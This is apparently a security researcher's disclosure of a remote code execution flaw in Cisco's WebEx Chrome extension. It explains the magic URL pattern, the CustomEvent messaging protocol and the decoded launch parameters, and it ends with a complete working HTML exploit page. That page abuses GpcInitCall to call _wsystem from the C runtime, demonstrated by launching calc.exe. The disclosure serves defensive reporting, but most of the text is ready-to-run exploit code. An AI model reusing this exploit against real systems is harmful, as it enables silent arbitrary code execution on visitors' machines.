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Cisco's WebEx extension (jlhmfgmfgeifomenelglieieghnjghma) has ~20M active users, and is part of Cisco's popular web conferencing software.
The extension works on any URL that contains the magic pattern "cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html", which can be extracted from the extensions manifest. Note that the pattern can occur in an iframe, so there is not necessarily any user-visible indication of what is happening, visiting any website would be enough.
The extension uses nativeMessaging, so this magic string is enough for any website to execute arbitrary code (!!).
The protocol the extension uses is complicated, using CustomEvent() objects to pass JSON messages between the webpage, the extension and the native code.
Stepping through an initialization, a website must first request that the extension open a port for communication, like this:
document.dispatchEvent(new CustomEvent("connect", { detail: { token: "token" }})); // token can be any string
Then messages can passed to native code via "message" events. Note that these cannot be MessageEvent() objects, and you cannot use the postMessage API, they have to be CustomEvent() objects.
There are a few different message types, such as "hello", "disconnect", etc. The most interesting is "launch_meeting":
document.dispatchEvent(new CustomEvent("message", { detail: {
message: JSON.stringify(msg),
message_type: "launch_meeting",
timestamp: (new Date()).toUTCString(),
token: "token"
}
}));
I stepped through a meeting and dumped the initialization messages:
> message.message
"{"DocshowVersion": "1.0",
"FilterSecParameters": "clientparam;clientparam_value",
"GpcProductRoot": "WebEx",
"GpcMovingInSubdir": "Wanta",
"GpcProductVersion": "T30_MC",
"GpcUpgradeManagement": "false",
"GpcCompatibleDesktopClients": "",
"enableQuickLaunch": "1",
"GpcProductDescription": "V2ViRXg=",
"GpcUnpackName": "atgpcdec",
"JMTSignificantFileList": "atgpcext.dll;atmccli.dll;comui.dll;webexmgr.dll;plugin-config.xml;atmgr.exe;ieatgpc.dll;atkbctl.dll;atwbxui15.dll;atcarmcl.dll;attp.dll;atarm.dll;wbxcrypt.dll;mmssl32.dll;libeay32.dll;ssleay32.dll;atmemmgr.dll;wcldll.dll;uilibres.dll;pfwres.dll;wbxtrace.dll;mcres.dll;atresec.dll;atrestc.dll;mfs.dll;mutilpd.dll;wseclient.dll;mticket.dll;wsertp.dll",
"jmtclicklog": "1484862376664",
"GpcExtName": "atgpcext",
"GpcUnpackVersion": "27, 17, 2016, 501",
"GpcExtVersion": "3015, 0, 2016, 1117",
"GpcUrlRoot": "https://join-test.webex.com/client/WBXclient-T30L10NSP15EP1-10007/webex/self",
"GpcComponentName": "YXRtY2NsaS5ETEw=",
"GpcCompressMethod": "7z",
"GpcActiveIniSection": "V2ViRXhfVg==",
"GpcSupportPageUrl": "",
"GpcIniFileName": "Z3BjLnBocD9wbW9kdWxlcz0lN0NNQ19TVEQlN0NDaGF0JTdDUG9sbGluZyU3Q05vdGUlN0NWaWRlb1NoYXJlJTdDV2ViZXhfUkElN0NBUyU3Q1BEJk9TPVZUJnJlcGxhY2VLZXk9VklTVEElN0NTU0YmTE49JmJhc2ljbmFtZT1XZWJFeF9WJk9TX0JpdD0zMg==
...
There are a huge number of properties, many are obviously good candidates for code execution, but these jumped out at me:
"GpcComponentName": "YXRtY2NsaS5ETEw=",
"GpcInitCall": "c3pDb29raWU9SW5pdENvbnRyb2woJUhXTkQpO05hbWVWYWx1ZShMb2dnaW5nVVJMX05hbWUsTG9nZ2luZ1VSTCk7TmFtZVZhbHVlKE1lZXRpbmdJRF9OYW1lLE1lZXRpbmdJRCk7TmFtZVZhbHVlKFNlc3Npb25JRF9OYW1lLFNlc3Npb25JRCk7TmFtZVZhbHVlKEdwY0luaUZpbGVOYW1lX05hbWUsR3BjSW5pRmlsZU5hbWUpO05hbWVWYWx1ZShHcGNVcmxSb290X05hbWUsR3BjVXJsUm9vdCk7TmFtZVZhbHVlKEdwY0V4dFZlcnNpb25fTmFtZSxHcGNFeHRWZXJzaW9uKTtOYW1lVmFsdWUoR3BjVW5wYWNrVmVyc2lvbl9OYW1lLEdwY1VucGFja1ZlcnNpb24pO05hbWVWYWx1ZShHcGNQcm9kdWN0Um9vdF9OYW1lLEdwY1Byb2R1Y3RSb290KTtOYW1lVmFsdWUobG9jYWxyb290c2VjdGlvbnZlcl9OYW1lLGxvY2Fscm9vdHNlY3Rpb252ZXIpO05hbWVWYWx1ZShSZWdUeXBlX05hbWUsUmVnVHlwZSk7TmFtZVZhbHVlKEdwY1Byb2dyZXNzQmFyVGl0bGVfTmFtZSxHcGNQcm9ncmVzc0JhclRpdGxlKTtOYW1lVmFsdWUoR3BjTWVzc2FnZVRpdGxlX05hbWUsR3BjTWVzc2FnZVRpdGxlKTtOYW1lVmFsdWUoZG93bmxvYWRsb2NhbHNldHRpbmdfTmFtZSxkb3dubG9hZGxvY2Fsc2V0dGluZyk7TmFtZVZhbHVlKHByb2R1Y3RuYW1lX05hbWUscHJvZHVjdG5hbWUpO05hbWVWYWx1ZShTRlN1cHBvcnRpbmdfTmFtZSxTRlN1cHBvcnRpbmdfVmFsdWUpO05hbWVWYWx1ZShNZWV0aW5nUmFuZG9tX05hbWUsTWVldGluZ1JhbmRvbSk7TmFtZVZhbHVlKGNsaWVudHBhcmFtX05hbWUsY2xpZW50cGFyYW1fVmFsdWUpO0ZpbmlzaENhbGwoc3pDb29raWUpOw==",
If we decode those strings, we get:
GpcComponentName: "atmccli.DLL"
GpcInitCall: "szCookie=InitControl(%HWND);NameValue(LoggingURL_Name,LoggingURL);NameValue(MeetingID_Name,MeetingID);NameValue(SessionID_Name,SessionID);NameValue(GpcIniFileName_Name,GpcIniFileName);NameValue(GpcUrlRoot_Name,GpcUrlRoot);NameValue(GpcExtVersion_Name,GpcExtVersion);NameValue(GpcUnpackVersion_Name,GpcUnpackVersion);NameValue(GpcProductRoot_Name,GpcProductRoot);NameValue(localrootsectionver_Name,localrootsectionver);NameValue(RegType_Name,RegType);NameValue(GpcProgressBarTitle_Name,GpcProgressBarTitle);NameValue(GpcMessageTitle_Name,GpcMessageTitle);NameValue(downloadlocalsetting_Name,downloadlocalsetting);NameValue(productname_Name,productname);NameValue(SFSupporting_Name,SFSupporting_Value);NameValue(MeetingRandom_Name,MeetingRandom);NameValue(clientparam_Name,clientparam_Value);FinishCall(szCookie);"
That looks like some sort of weird scripting language. The presence of `HWND` suggests this is interacting with native code, and if I dump the exports of atmccli.DLL:
$ dumpbin /nologo /exports atmccli.dll
Dump of file atmccli.dll
ordinal hint RVA name
2 2 0001CC11 ExitControl
24 3 0001CC83 FinishCall
1 4 0001D2F9 InitControl <--
23 5 0001D556 NameValue
...
These exports look like the functions being called in that scripting language. Is it possible it's calling those exports?
I noticed that they ship a copy of the CRT (Microsoft's C Runtime, containing standard routines like printf, malloc, etc), so I tried calling the standard _wsystem() routime (like system(), but for WCHAR strings), like this:
var msg = {
GpcProductRoot: "WebEx",
GpcMovingInSubdir: "Wanta",
GpcProductVersion: "T30_MC",
GpcUnpackName: "atgpcdec",
GpcExtName: "atgpcext",
GpcUnpackVersion: "27, 17, 2016, 501",
GpcExtVersion: "3015, 0, 2016, 1117",
GpcUrlRoot: "http://127.0.0.1/",
GpcComponentName: btoa("MSVCR100.DLL"),
GpcSuppressInstallation: btoa("True"),
GpcFullPage: "True",
GpcInitCall: btoa("_wsystem(ExploitShellCommand);"),
ExploitShellCommand: btoa("calc.exe"),
}
Unbelievably, that worked.
Example exploit attached.
I uploaded a demo here for testing (this URL is secret)
https://lock.cmpxchg8b.com/ieXohz9t/
(You can make sure WebEx is installed and working first by going here. You don't need to register, just enter any name and email)
https://www.webex.com/test-meeting.html
-->
<html>
<head>
<title>Cisco WebEx Exploit</title>
<script>
var msg = {
GpcProductRoot: "WebEx",
GpcMovingInSubdir: "Wanta",
GpcProductVersion: "T30_MC",
GpcUnpackName: "atgpcdec",
GpcExtName: "atgpcext",
GpcUnpackVersion: "27, 17, 2016, 501",
GpcExtVersion: "3015, 0, 2016, 1117",
GpcUrlRoot: "http://127.0.0.1/",
GpcComponentName: btoa("MSVCR100.DLL"),
GpcSuppressInstallation: btoa("True"),
GpcFullPage: "True",
GpcInitCall: btoa("_wsystem(ExploitShellCommand);"),
ExploitShellCommand: btoa("calc.exe"),
}
function runcode()
{
if (!document.location.pathname.endsWith("cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html")) {
alert("document /must/ be named cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html");
return;
}
if (!document.location.protocol.endsWith("https:")) {
alert("document /must/ be served over https");
return;
}
document.dispatchEvent(new CustomEvent("connect", { detail: { token: "token" }}));
document.dispatchEvent(new CustomEvent("message", { detail: {
message: JSON.stringify(msg),
message_type: "launch_meeting",
timestamp: (new Date()).toUTCString(),
token: "token"
}
}));
}
</script>
</head>
<body onload="runcode()">
<h1>Running exploit...</h1>
</body>
</html>
